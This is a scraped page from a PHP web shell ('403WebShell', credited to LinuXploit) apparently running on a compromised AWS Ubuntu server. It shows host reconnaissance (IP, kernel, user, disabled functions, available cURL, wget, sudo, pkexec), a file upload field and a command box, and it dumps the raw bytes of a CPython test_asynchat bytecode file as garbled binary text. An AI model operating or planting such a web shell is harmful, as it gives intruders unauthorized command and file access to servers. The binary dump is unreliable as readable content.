Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_asynchat.cpython-310.pyc
o

�9j�%�@sNddlmZddlmZddlmZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZ
ddlZe�
��e�de�ddlZddlZWd�n1sOwYejZdZGdd�dej�ZGd	d
�d
ej�Zdd�ZGd
d�de
j�ZGdd�de�ZGdd�de
j�ZGdd�de
j�ZGdd�de
j�Zedkr�e
� �dSdS)�)�support)�
socket_helper)�threading_helperN�ignoresQUIT
c@s eZdZdZdd�Zdd�ZdS)�echo_server�cCs<tj�|�||_t�tjtj�|_t�	|j�|_
d|_dS�N)�	threading�Thread�__init__�event�socket�AF_INET�SOCK_STREAM�sockr�	bind_port�port�start_resend_event)�selfr�r�)/usr/lib/python3.10/test/test_asynchat.pyrs

zecho_server.__init__cCs�|j��|j��|j��\}}d|_t|jvr,|�d�}|s!n|j||_t|jvs|j�td�|_|j	r<|j	�
�z |jr[|�|jd|j��}t
�d�|j|d�|_|js@WnY|��|j��dS)N�rg����MbP?)r�listenr�set�accept�buffer�SERVER_QUIT�recv�replacer�wait�send�
chunk_size�time�sleep�close)r�conn�client�data�nrrr�run's0




�

��zecho_server.runN)�__name__�
__module__�__qualname__r!rr)rrrrrs	rc@s>eZdZdd�Zdd�Zejdkrdd�Zdd	�Zd
d�Z	dS)
�echo_clientcCsDtj�|�g|_|�tjtj�|�t	|f�|�
|�d|_dS�Nr)�asynchat�
async_chatr�contents�
create_socketr
rr�connect�HOST�set_terminatorr)r�
terminator�server_portrrrrIs

zecho_client.__init__cC�dSrr�rrrr�handle_connectQ�zecho_client.handle_connect�darwincCr8rrr9rrr�handle_exptWr;zecho_client.handle_exptcCs|j|7_dSr)r)rr'rrr�collect_incoming_dataZsz!echo_client.collect_incoming_datacCs|j�|j�d|_dSr.)r1�appendrr9rrr�found_terminator]s
zecho_client.found_terminatorN)
r*r+r,rr:�sys�platformr=r>r@rrrrr-Gs
r-cCs:t��}t|�}|��|��|��t�d�||fS)N�{�G�z�?)r	�Eventr�startr�clearr"r#)r�srrr�start_echo_serveras
rHc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd S)!�TestAsynchatFcCst��|_dSr)r�threading_setup�_threadsr9rrr�setUpn�zTestAsynchat.setUpcCstj|j�dSr)r�threading_cleanuprKr9rrr�tearDownqszTestAsynchat.tearDowncCs�t��}t|�}||_|��|��|��t�d�t	||j
�}|�d�|�d|�|�d|�|�t�t
j|jddd�t�|�|�|jddg�dS)NrCshello sworld�I'm not dead yet!�,��use_poll�count�timeout�hello world)r	rDrr!rErrFr"r#r-r�pushr�asyncore�loop�usepollr�join_thread�assertEqualr1)r�term�server_chunkrrG�crrr�line_terminator_checkts



z"TestAsynchat.line_terminator_checkcC�dD]}|�d|�qdS)N�r���
�r`�r�lrrr�test_line_terminator1���z"TestAsynchat.test_line_terminator1cCra)Nrbs
rfrgrrr�test_line_terminator2�rjz"TestAsynchat.test_line_terminator2cCra)Nrbsqqqrfrgrrr�test_line_terminator3�rjz"TestAsynchat.test_line_terminator3cCsft�\}}t||j�}d}|�|�|�t�tj|jddd�t�	|�|�
|j|d|�g�dS�Nshello world, I'm not dead yet!
rQrCrR�rHr-rrWrrXrYrZrr[r\r1)r�termlenrGrr_r'rrr�numeric_terminator_check�s



z%TestAsynchat.numeric_terminator_checkcC�|�d�dS)Nr�rpr9rrr�test_numeric_terminator1�sz%TestAsynchat.test_numeric_terminator1cCrq)N�rrr9rrr�test_numeric_terminator2�rMz%TestAsynchat.test_numeric_terminator2cCsjt�\}}td|j�}d}|�|�|�t�tj|jddd�t�	|�|�
|jg�|�
|j|�dSrm)
rHr-rrWrrXrYrZrr[r\r1r�rrGrr_r'rrr�test_none_terminator�s



z!TestAsynchat.test_none_terminatorcCsht�\}}td|j�}d}tj|tdd�}|�|�tj|j	ddd�t
�|�|�|j
dd	g�dS)
Nre�hello world
I'm not dead yet!
�)�buffer_sizerQrCrRrVrP)rHr-rr/�simple_producerr�push_with_producerrXrYrZrr[r\r1)rrGrr_r'�prrr�test_simple_producer�s


z!TestAsynchat.test_simple_producercCsZt�\}}td|j�}d}|�|t�tj|jddd�t�	|�|�
|jddg�dS)NrerxrQrCrRrVrP)rHr-rr|rrXrYrZrr[r\r1rvrrr�test_string_producer�s

z!TestAsynchat.test_string_producercCs\t�\}}td|j�}|�d�|�t�tj|jddd�t�	|�|�
|jgd��dS)Nreshello world

I'm not dead yet!
rQrCrR)rVrrPrn�rrGrr_rrr�test_empty_line�s



�zTestAsynchat.test_empty_linecCs�t�\}}t��|_td|j�}|�d�|�t�|��t	j
|jddd�|j��t
�|�|�|jg�|�t|j�d�dS)NrerxrQrCrRr)rHr	rDrr-rrWr�close_when_donerXrYrZrrr[r\r1�
assertGreater�lenrr�rrr�test_close_when_done�s





z!TestAsynchat.test_close_when_donecCs�t�\}}td|j�}d}|�|�|�t|��|�t|��|�t|jd�|�t|jd�|�t�t	j
|jddd�t�
|�|�|jgd��dS)	Nresbytes
�
�unicoderQrCrR)�bytesr�r�)rHr-rrW�	bytearray�
memoryview�assertRaises�	TypeErrorrrXrYrZrr[r\r1rvrrr�	test_push�s



zTestAsynchat.test_pushN)r*r+r,rZrLrOr`rirkrlrprsrurwr~rr�r�r�rrrrrIks"

rIc@seZdZdZdS)�TestAsynchat_WithPollTN)r*r+r,rZrrrrr�sr�c@�eZdZdd�ZdS)�TestAsynchatMockedcCs~tj��}ttj�|j_t�	�}|�
|�|�|j�tjj
�|d��}|��Wd�n1s2wY|�|j�dS)N�handle_error)�unittest�mock�Mock�BlockingIOError�errno�EAGAINr�side_effectr/r0�
set_socket�
addCleanup�del_channel�patch�object�handle_read�assertFalse�called)rr�
dispatcher�errorrrr�test_blockingioerrors


�z'TestAsynchatMocked.test_blockingioerrorN)r*r+r,r�rrrrr��r�c@r�)�TestHelperFunctionscCs,|�t�dd�d�|�t�dd�d�dS)Nzqwerty
z
r�
qwertydkjfr)r\r/�find_prefix_at_endr9rrr�test_find_prefix_at_endsz+TestHelperFunctions.test_find_prefix_at_endN)r*r+r,r�rrrrr�r�r�c@r�)�TestNotConnectedcCst��}|�t|jd�dS)N���)r/r0r��
ValueErrorr5)rr&rrr�!test_disallow_negative_terminatorsz2TestNotConnected.test_disallow_negative_terminatorN)r*r+r,r�rrrrr�r�r��__main__)!�testr�test.supportrrr�r
rAr	r"r��
unittest.mock�warnings�catch_warnings�simplefilter�DeprecationWarningr/rXr4rr
rr0r-rH�TestCaserIr�r�r�r�r*�mainrrrr�<module>s<

�.
�

Youez - 2016 - github.com/yon3zu
LinuXploit